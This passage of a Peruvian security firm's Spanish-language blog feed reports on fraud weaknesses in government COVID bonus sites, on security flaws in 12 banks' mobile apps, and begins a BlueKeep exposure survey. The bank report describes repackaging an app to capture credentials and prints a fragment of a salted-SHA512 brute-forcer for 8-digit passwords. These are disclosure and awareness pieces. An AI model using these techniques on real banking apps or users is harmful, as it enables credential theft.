  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Imagen14.png" alt="A web page that says registrar un caso bono familiar universal"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Web del Bono Universal
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Línea de Tiempo:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Imagen145.png" alt="Una cronología de eventos para mayo de 2020 en español."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Línea de tiempo obtenida del documento de ciberinteligencia de DeepSecurity
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Conclusiones:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           1.- A fin de evitar que las aplicaciones web puedan ser usadas para conseguir de forma masiva DNI con bono asignado y luego usar la misma página web con el fin de obtener la fecha de emisión o fecha de nacimiento de beneficiario, recomendamos se haga una adecuada implementación de control de CAPTCHA actualmente ya en uso.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           El control de captcha presentando en ambos sitios web mencionados:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            Bono Universal Familiar (https://bonouniversalfamiliar.pe)
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            Bono Independiente (https://bonoindependiente.pe)
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;br/&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Al obtener esta información, se puede iniciar el trámite de registro de datos.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           2.- Durante el registro del beneficiario, se utiliza como método de validación los datos RENIEC con el objetivo de autenticar el usuario. Sin embargo, estos datos pueden ser encontrados en fuentes abiertas o en distintas aplicaciones de Internet. Este punto hace viable el cambio de datos incluido el nuevo número de celular, al cuál se envía la clave de cobro vía SMS. En ese caso recomendamos implementar controles de información cruzada con otras entidades.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           3.- Así mismo se hace la observación al registro del número de celular, el que no cuenta con una validación de pertenencia al beneficiario del bono.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Este tipo de vulnerabilidades se encuentra bien identificada como “Configuración de Seguridad Incorrecta OWASP A2:2017” según lo indicado en las guías de buenas prácticas de seguridad conocidas como “OWASP TOP 10” que es un estándar reconocido internacionalmente.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;</content:encoded>
      <enclosure url="https://irp.cdn-website.com/210ad002/dms3rep/multi/bannerblogDS-bono-01+PS.jpg" length="45048" type="image/jpeg" />
      <pubDate>Mon, 01 Jun 2020 05:50:58 GMT</pubDate>
      <guid>https://www.deepsecurity.pe/reporte-de-ciberinteligencia-operacion-apakuy</guid>
      <g-custom:tags type="string">SPAN</g-custom:tags>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/bannerblogDS-bono-01.png">
        <media:description>thumbnail</media:description>
      </media:content>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/bannerblogDS-bono-01+PS.jpg">
        <media:description>main image</media:description>
      </media:content>
    </item>
    <item>
      <title>Reporte de Ciberseguridad en las Aplicaciones Móviles de Home banking en Perú</title>
      <link>https://www.deepsecurity.pe/reporte-de-ciberseguridad-en-las-aplicaciones-moviles-de-homebanking-en-peru</link>
      <description>El último año ha sido clave para la expansión digital de los bancos peruanos. Se han lanzado al mercado todo tipo de utilidades y aplicaciones que ayudan a las personas a gestionar su dinero de una manera más fácil. En DeepSecurity, nos preocupamos por la ciberseguridad del sistema financiero local y por eso hemos llevado a cabo un análisis pasivo (no-intrusivo) de las aplicaciones móviles de 12 bancos del Perú.</description>
      <content:encoded>&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/reporte-blog-y-social-media_banner2-1024x606.png" alt="Una estatua de un oso está comiendo una hoja sobre un fondo negro."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           El último año ha sido clave para la expansión digital de los bancos peruanos. Se han lanzado al mercado todo tipo de utilidades y aplicaciones que ayudan a las personas a gestionar su dinero de una manera más fácil. En DeepSecurity, nos preocupamos por la ciberseguridad del sistema financiero local y por eso hemos llevado a cabo un
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           análisis pasivo (no-intrusivo) de las aplicaciones móviles de 12 bancos del Perú.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           El primer paso para realizar esta investigación fue seleccionar a las entidades bancarias más importantes del Perú, basados en la lista publicada por la Superintendencia de Banca, Seguros y AFP (SBS)*; luego procedimos a descargar las aplicaciones móviles de las entidades seleccionadas de las páginas oficiales.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Todas las aplicaciones seleccionadas, fueron evaluadas tomando como base los 10 riesgos establecidos por el proyecto internacional OWASP (OWASP Mobile Top 10).
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            M1: Improper Platform Usage
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            M2: Insecure Data Storage
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            M3: Insecure Communication
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            M4: Insecure Authentication
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            M5: Insufficient Cryptography
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            M6: Insecure Authorization
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            M7: Client Code Quality
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            M8: Code Tampering
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            M9: Reverse Engineering
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            M10: Extraneous Functionality
           
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;br/&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/postmayo.png" alt="Un gráfico que muestra el número de personas en cada grupo."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Imagen extraída del 
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://irp.cdn-website.com/210ad002/files/uploaded/DeepSecurity_Reporte_Ciberseguridad_Aplicaciones_Financieras_Peru.pdf" target="_blank"&gt;&#xD;
      
                      
           reporte de ciberseguridad de aplicaciones móviles de homebanking
          
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;a href="https://irp.cdn-website.com/210ad002/files/uploaded/DeepSecurity_Reporte_Ciberseguridad_Aplicaciones_Financieras_Peru.pdf" target="_blank"&gt;&#xD;
      
                      
           .
          
                    &#xD;
    &lt;/a&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Para llevar a cabo el análisis técnico, todas las aplicaciones pasaron por un proceso de reconocimiento automatizado mediante el cual se obtuvo la primera información relevante de esta investigación. El 70% de las aplicaciones analizadas no cuenta con protección «anti-reversing» (OWASP M9), esto quiere decir que se pudo acceder al código fuente de las aplicaciones móviles sin usar técnicas de evasión. Para demostrar el impacto de esta vulnerabilidad realizamos las siguiente acciones:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ol&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Decompilamos la aplicación.
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Modificamos la ruta del servicio de autenticación del banco por un backend operado por DeepSecurity.
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Recompilamos la aplicación.
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Instalamos correctamente la aplicación modificada en un teléfono móvil (sin root)
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Se hizo un intento de autenticación con el cual se obtuvieron credenciales usando la aplicación modificada.
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ol&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Un atacante de la vida real, podría usar este método para enviar aplicaciones modificadas a los clientes del banco y convencerlos de que es la real. Importante recalcar esto se encontró en el 70% de las aplicaciones.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Totalmente comprometidos con realizar las pruebas de forma rigurosa, nuestro equipo de investigadores creó cuentas como clientes finales en los bancos evaluados. Con estas cuentas nos registramos en las aplicaciones móviles y fue ahí donde encontramos otro vector interesante en la investigación. En algunas de las aplicaciones evaluadas, encontramos que el usuario/DNI que se usaba para autenticarse a las cuentas, se quedaba guardado en el móvil en texto plano. Este escenario fue más que interesante porque en una de las aplicaciones, encontramos el hash de la contraseña en SHA512, un cifrado que hasta el momento no ha sido roto. Sin embargo, al analizar a profundidad el código fuente (aplicación vulnerable a M2) y por una mala implementación del método criptográfico (M5) encontramos en el código fuente la función que generaba el hash SHA512 y mediante el cual se podía extraer las contraseñas en texto plano con una fuerza bruta poco compleja. La contraseña de nuestro usuario fue extraída en menos de 60 segundos. Para demostrar el impacto que genera esta vulnerabilidad, nuestro equipo de investigadores realizó las siguientes acciones:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           1.- Registramos un usuario en la aplicación.
           
                      &#xD;
      &lt;br/&gt;&#xD;
      
                      
           2.- Se extrajo el archivo local.
           
                      &#xD;
      &lt;br/&gt;&#xD;
      
                      
           3.- Se leyó el archivo y se encontró la contraseña en SHA512.
           
                      &#xD;
      &lt;br/&gt;&#xD;
      
                      
           4.- Se hizo fuerza bruta a la contraseña durante 20 segundos.
           
                      &#xD;
      &lt;br/&gt;&#xD;
      
                      
           5.- Se obtuvo la credencial del usuario.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Esta vulnerabilidad la calificamos como crítica dado que cualquier aplicación instalada en el teléfono puede acceder a la contraseña replicando el ataque que nosotros realizamos. Si el teléfono del usuario fuese robado, también de forma local se podría extraer la contraseña de la plataforma del banco en cuestión. Dada la criticidad de la vulnerabilidad, DeepSecurity reportó esta vulnerabilidad al banco y fue reparada en menos de 30 días.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Para los más curiosos, en el archivo local se encontraba el hash de la contraseña en SHA512 y un string llamado «salt». Cuando investigamos, nos dimos cuenta de lo siguiente:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ol&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            La contraseña que solicitaba la aplicación móvil era débil (8 números).
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Si sacamos el hash de la contraseña SHA512($password) no era igual al encontrado en el archivo local.
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            En el código fuente encontramos la función de cifrado y era SHA512($password+$salt)
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            En el archivo local encontrado en el móvil, hallamos un string llamado salt.
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Hicimos una tool que sacara el hash de todas las combinaciones de números de 8 caracteres + el hash.
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ol&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Fragmento del bruter:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           for i in range(0,10000000):
           
                      &#xD;
      &lt;br/&gt;&#xD;
      
                      
           brute_password = str(number[1:])
           
                      &#xD;
      &lt;br/&gt;&#xD;
      
                      
           hash = hashlib.sha512()
           
                      &#xD;
      &lt;br/&gt;&#xD;
      
                      
           hash.update((‘%s%s’ % (brute_password, salt)).encode(‘utf-8’))
           
                      &#xD;
      &lt;br/&gt;&#xD;
      
                      
           brute_hash = hash.hexdigest()
           
                      &#xD;
      &lt;br/&gt;&#xD;
      
                      
           print(Fore.BLUE + ‘Password: ‘ + Fore.YELLOW + brute_password, end=» «,flush=True)
           
                      &#xD;
      &lt;br/&gt;&#xD;
      
                      
           if password_hash == brute_hash:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           De las 10 vulnerabilidades del Top de OWASP, las 10 fueron encontradas en toda la extensión del análisis. En DeepSecurity, con el interés de fomentar la seguridad, animamos a todos los bancos a re-evaluar la seguridad de las aplicaciones móviles dado que los resultados no mostraron niveles altos de ciberseguridad en general. La investigación completa es de 7 páginas y se encuentra en formato PDF, puede ser descargada dando click 
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://irp.cdn-website.com/210ad002/files/uploaded/DeepSecurity_Reporte_Ciberseguridad_Aplicaciones_Financieras_Peru.pdf" target="_blank"&gt;&#xD;
      
                      
           aquí
          
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           .
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           *Listado de empresas bancarias de la SBS.
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://www.sbs.gob.pe/supervisados-y-registros/empresas-supervisadas/directorio-del-sistema-financiero/empresas-bancarias" target="_blank"&gt;&#xD;
      
                      
           https://www.sbs.gob.pe/supervisados-y-registros/empresas-supervisadas/directorio-del-sistema-financiero/empresas-bancarias
          
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           .
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;</content:encoded>
      <enclosure url="https://irp.cdn-website.com/210ad002/dms3rep/multi/reporte-blog-y-social-media_banner2-1024x606+-+copia+PS.png" length="125126" type="image/png" />
      <pubDate>Thu, 21 May 2020 04:16:25 GMT</pubDate>
      <guid>https://www.deepsecurity.pe/reporte-de-ciberseguridad-en-las-aplicaciones-moviles-de-homebanking-en-peru</guid>
      <g-custom:tags type="string">SPAN</g-custom:tags>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/reporte-blog-y-social-media_banner2-1024x606.png">
        <media:description>thumbnail</media:description>
      </media:content>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/reporte-blog-y-social-media_banner2-1024x606+-+copia+PS.png">
        <media:description>main image</media:description>
      </media:content>
    </item>
    <item>
      <title>Análisis de BlueKeep en Perú</title>
      <link>https://www.deepsecurity.pe/analisis-de-bluekeep-en-peru</link>
      <description>BlueKeep (CVE-2019-0708) es una vulnerabilidad de ejecución remota de código, no autenticada, en Remote Desktop Services (Servicio de RDP). La vulnerabilidad solo requiere que el puerto de RDP esté abierto y un atacante podría conectarse sin necesidad de tener usuario o contraseña.</description>
      <content:encoded>&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/blog-y-social-media-14-04-20_banner-1024x530.jpg" alt="Una mano sostiene una pieza de ajedrez sobre un fondo azul."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           BlueKeep (CVE-2019-0708) es una vulnerabilidad de ejecución remota de código, no autenticada, en Remote Desktop Services (Servicio de RDP). La vulnerabilidad solo requiere que el puerto de RDP esté abierto y un atacante podría conectarse sin necesidad de tener usuario o contraseña.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           En DeepSecurity nos preocupamos por el bienestar de la infraestructura de nuestro país y realizamos constante ciber inteligencia que nos permite identificar amenazas latentes en nuestra frontera digital. De nuestros análisis, hemos identificado que a raíz del Covid-19 (entre el 13 de marzo y el 13 de abril), ha aumentado en casi 40% la exposición de RDPs desactualizados a internet. En ese sentido, realizamos un escaneo masivo a todas las IPs del Perú que exponían sus RDPs, con esto se pudo identificar infraestructura peruana vulnerable a BlueKeep. El análisis reveló que existen más de 500 servidores vulnerables. Se adjunta un gráfico con los porcentajes de servidores con RDP expuestos a internet.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Análisis de vulnerabilidad "BlueKeep" en direcciones IP del Perú
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/blog+y+social+media+300ppp+14-04-20_gr%C3%A1fico+blog-min.png" alt="Un gráfico circular que muestra el número de ips en una computadora."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           El análisis fue bastante interesante porque no solo pudimos identificar que habían cerca de 600 IPs vulnerables, sino que también encontramos 6 HotSpots que fingían ser RDP, pero no lo eran. También encontramos que había servidores parchados (actualizaciones de Microsoft) pero también pudimos identificar que cientos de servidores habían habilitado NLA – Network Level Authentication como método para prevenir el ataque. Es importante mencionar que activar NLA solo previene que el atacante pueda explotar la vulnerabilidad sin credenciales, sin embargo, el servidor sigue siendo vulnerable. Las versiones de windows vulnerables a BlueKeep y sus parches:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Windows 7 (KB4499175)
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Windows Server 2008 R2 (KB4499175)
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Windows Server 2008 (KB4499180)
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Y las ya sin soporte:
           
                      &#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Windows 2003 (KB4500331)
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Windows XP (KB4500331)
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            Windows Vista (KB4499180)
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Para validar si un servidor tiene el parche instalado, se puede usar una consulta wmi desde CMD reemplazando el “999999” por el número de arriba correspondiente al servidor:
           
                      &#xD;
      &lt;br/&gt;&#xD;
      
                      
           wmic qfe | find «KB999999»
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Si el servidor es crítico como para ser parchado, Microsoft sugiere activar NLA (Network Level Authentication) para evitar que, actores maliciosos no autenticados, puedan ejecutar código remoto en el servidor en cuestión.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      
                      
           Para activar el NLA de forma manual, puede usar el siguiente script:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
